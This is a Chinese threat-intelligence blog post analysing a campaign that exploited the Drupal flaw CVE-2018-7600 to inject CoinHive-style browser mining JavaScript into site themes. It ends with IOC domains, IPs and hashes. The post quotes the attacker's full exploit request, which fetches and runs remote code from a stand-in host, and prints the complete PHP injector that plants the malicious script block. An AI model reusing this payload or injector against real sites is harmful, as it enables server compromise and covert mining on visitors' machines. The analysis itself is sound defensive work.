查看原文
其他

黑客正在利用Drupal漏洞进行客户端浏览器挖矿

绿盟科技研究通讯 绿盟科技研究通讯 2021-03-12


2018年6月22日,绿盟科技威胁情报中心(NTI)监测到一种新型的Drupal漏洞利用方式,与以往通过漏洞向服务器植入挖矿程序不同是,此次攻击是利用Drupal远程代码执行漏洞通过自定义主题功能向站点插入恶意JavaScript,然后使用WebAssembly(WASM)技术实现了基于客户端浏览器的挖矿,使得访问该网站的用户CPU等资源占用率直接飙升。NTI检测到此次挖矿与CoinHive有关,黑客优化了CoinHive源码并自定义矿池以绕过CoinHive平台抽成从而达到利益最大化。此类攻击正在活跃,NTI将持续关注。

攻击流程梳理

黑客首先通过Drupal RCE漏洞下载php脚本,结合Drupal自身特性插入恶意JavaScript文件,通过WebSocket协议连接pool,然后由createObjectURL将下载wasm的任务生成在Blob中并依次下发,借助浏览器消耗CPU资源进行挖矿。

攻击回顾

黑客发送的攻击载荷如下:

POST /user/register?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1  Host: xxx.com  Connection: keep-alive  Accept-Encoding: gzip, deflate  Accept: */*  User-Agent: python-requests/2.13.0  Content-Length: 217  Content-Type: application/x-www-form-urlencoded    mail[a][#post_render][]==passthru&mail[a][#markup]=wget -O -q http://evildomain/drupal.txt | php&form_id=user_register_form&_drupal_ajax=1&mail[a][#type]=markup

drupal.txt是php文件,内容如下:

<?php
define('DRUPAL_DIR', '.');

use Drupal\Core\DrupalKernel;
use Symfony\Component\HttpFoundation\Request;
use Drupal\block\Entity\Block;
use Drupal\block_content\Entity\BlockContent;
use Drupal\block_content\Entity\BlockContentType;

require_once DRUPAL_DIR . '/core/includes/database.inc';
require_once DRUPAL_DIR . '/core/includes/schema.inc';
$autoloader = require_once DRUPAL_DIR . '/autoload.php';
$request = Request::createFromGlobals();
$kernel = DrupalKernel::createFromRequest($request, $autoloader, 'prod');
$kernel->boot();
$kernel->prepareLegacyRequest($request);
try {
    
$theme_handler = \Drupal::service('theme_handler');
    
$themes = $theme_handler->listInfo();
    
foreach ($themes as $theme) {
        
$block = BlockContent::create([
            
'info' => 'Drupal updater',
            
'type' => 'basic',
            
'body' => [
                
'value' => '<script type="text/javascript" src="//evildomain/drupal.js"></script>',
                
'format' => 'full_html',
            
]
        
]);
        
print '$block:' . $block->save();
        
$placed_block = Block::create([
            
'id' => $block->uuid(),
            
'theme' => $theme->getName(),
            
'region' => 'header',
            
'weight' => -7,
            
'status' => TRUE,
            
'plugin' => 'block_content:' . $block->uuid(),
            
'settings' => [],
            
'visibility' => [],
        
]);
        
print '$placed_block:' . $placed_block->save();
    }
    
print 'block inject ends!';
    
$theme = \Drupal::theme()->getActiveTheme();
    
print $theme->getName();
catch (Exception $e) {
    
var_dump($e);
}

可以看到这个php文件结合了Drupal程序自身的特性,往站点注入drupal.js脚本,涉及的主要方法是BlockContent::create()

查阅相关文档,该方法是用来定制化站点主题,实现自定义添加block功能,也就是所谓的"块",可以在页面的侧边栏,或者header和footer中添加自定义栏,实现页面导航或者统计访客人数等功能。

一个demo示例:

 $block = BlockContent::create([
    
'info' => 'My awesome block',
    
'type' => 'basic',
    
'langcode' => 'en',
  
]);

  
$block->body->value = 'Hello world!';
  
$block->body->format = 'basic_html';
    
  
$block->save();

在后台管理界面Structure > Block layout > Custom block library (admin/ structure/ block/block-content) 可以添加和查看自定义block,更具体的可以参考官方文档https: //www.drupal.org/docs/user_guide/en/block-concept.htmlJavaScript 注入

JavaScript注入流程

首先该php文件引入了Drupal程序的相关文件,然后列举了站点使用的所有主题,接着构造一个数组结构block,恶意JavaScript在body[value]里被引用,当文件被执行后,就通过BlockContent::create()方法向相应主题添加一个block并保存,接着执行$placed_block->save()启用该block,到此block注入完毕。

回到布局页面我们可以看到自定义block已经添加并且被启用,而且在站点安装的每个主题中都被注入这个custom block,从代码中也能看出来黑客选择将block放在页面的header部分,这样用户访问任意页面都会加载这个js,同时隐蔽性很好。

之后访问站点,发现js已经被注入到页面(此处替换成了本地js文件)

 当用户访问页面后js被加载运行,同时CPU占用会显著升高,从这个特征看和借助浏览器进行挖矿的行为非常相似。

恶意JavaScript文件

黑客引入的drupal.js文件被重度混淆

解码去混淆后还原出"明文"代码,在其中发现了一些值得注意的信息

我们注意到这部分配置信息与外界流行的CoinHive挖矿配置高度相似:

  1. 指定了一个客户端配置

  2. 通过LIB_URL下载恶意JavaScript文件

  3. 通过WebSocket协议进行通信

该js被加载后,首先会通过wss协议请求远程服务器的proxy,建立连接后下载Lxx.wasm文件

这个wasm文件是由CoinHive的挖矿算法cryptonight将c文件编译而来的可执行文件,是一种WebAssembly的实现,可以通过浏览器加载执行,计算完毕后与矿池通信,以获取下一个"块"的计算信息。

在挖矿程序启动的时候会通过一个阈值throttle: 0.3进行控制,因此运行后CPU占用会到65%左右,防止用户发现CPU占用过高。

结合以上特点,我们推断攻击者十分熟悉Drupal框架特性,利用Drupal自定义主题功能通过CVE-2018-7600漏洞将恶意JavaScript插入到站点主题中,同时控制CPU占用阈值,十分隐蔽地利用用户浏览器进行挖矿,而且攻击者改造了CoinHive代码,将矿池平台地址替换为自己的地址,这样就绕过了CoinHive要求的30%的抽成,与此同时,攻击者全程使用https进行数据传输,这对分析其流量特征也带来了一定困难。

IP画像

NTI基于攻击者IP画像,监测到提供WebSocket服务的这批域名中有几个值得注意的点:

  • 最早的解析记录出现在2018年4月19日;

  • 大部分域名使用Let's Encrypt签发证书,且证书更新相当频繁;

  • 大部分域名解析集中在一个C段,并且域名间呈现出关联性;

  • 大部分在5、6月份开始活跃;

  • 部分域名在6月24、25、26日均更换了dns解析

以上几点特征都说明这是一次全新的攻击,通过不断更换DNS解析和证书信息以躲避追踪。

总结

通过以上分析我们推断黑客团伙正在积极利用漏洞进行浏览器算力挖矿,并且此次攻击与以往利用站点所在服务器进行计算任务牟取数字货币的情况不尽相同,该方式只要将恶意JavaScript插入网站,任何访问受害站点的用户机器都会成为"矿机",是一种基于客户端的挖矿方式,而且黑客有意控制CPU占用阈值,防止占用过高引起用户警觉。NTI正在持续监测此类攻击,安全从业者也应该多加关注。

IOC

相关域名

解析ip

upgraderservices.cf

109.230.199.214

freecontent.stream

85.17.26.67

freecontent.faith

212.32.255.206

freecontent.party

212.32.255.210

freecontent.science

212.32.255.209

freecontent.trade

212.32.255.9

hostingcloud.accountant

212.32.255.10

hostingcloud.bid

212.32.255.211

hostingcloud.date

212.32.255.212

hostingcloud.download

212.32.255.138

hostingcloud.faith

212.32.255.137

hostingcloud.loan

212.32.255.148

jshosting.bid

212.32.255.5

jshosting.date

212.32.255.7

jshosting.download

212.32.255.4

jshosting.loan

212.32.255.6

jshosting.party

212.32.255.205

jshosting.racing

212.32.255.12

jshosting.review

212.32.255.3

jshosting.stream

212.32.255.13

jshosting.trade

212.32.255.141

jshosting.win

212.32.255.142

 

文件

sha1

drupal.js

a5488891b7ef1b3c5eb5c1218752f5798dadeb01

Lxx.wasm

04e7b1e1251fb0c18753d0b413f69d5c34c17acf

5xx.js

acb296d8c1043a85fa83ec785b66416d1daf818e


       

               内容编辑:威胁情报中心    责任编辑:肖晴     

期回顾

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。

关于我们


绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。

绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。

我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。

长按上方二维码,即可关注我们

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存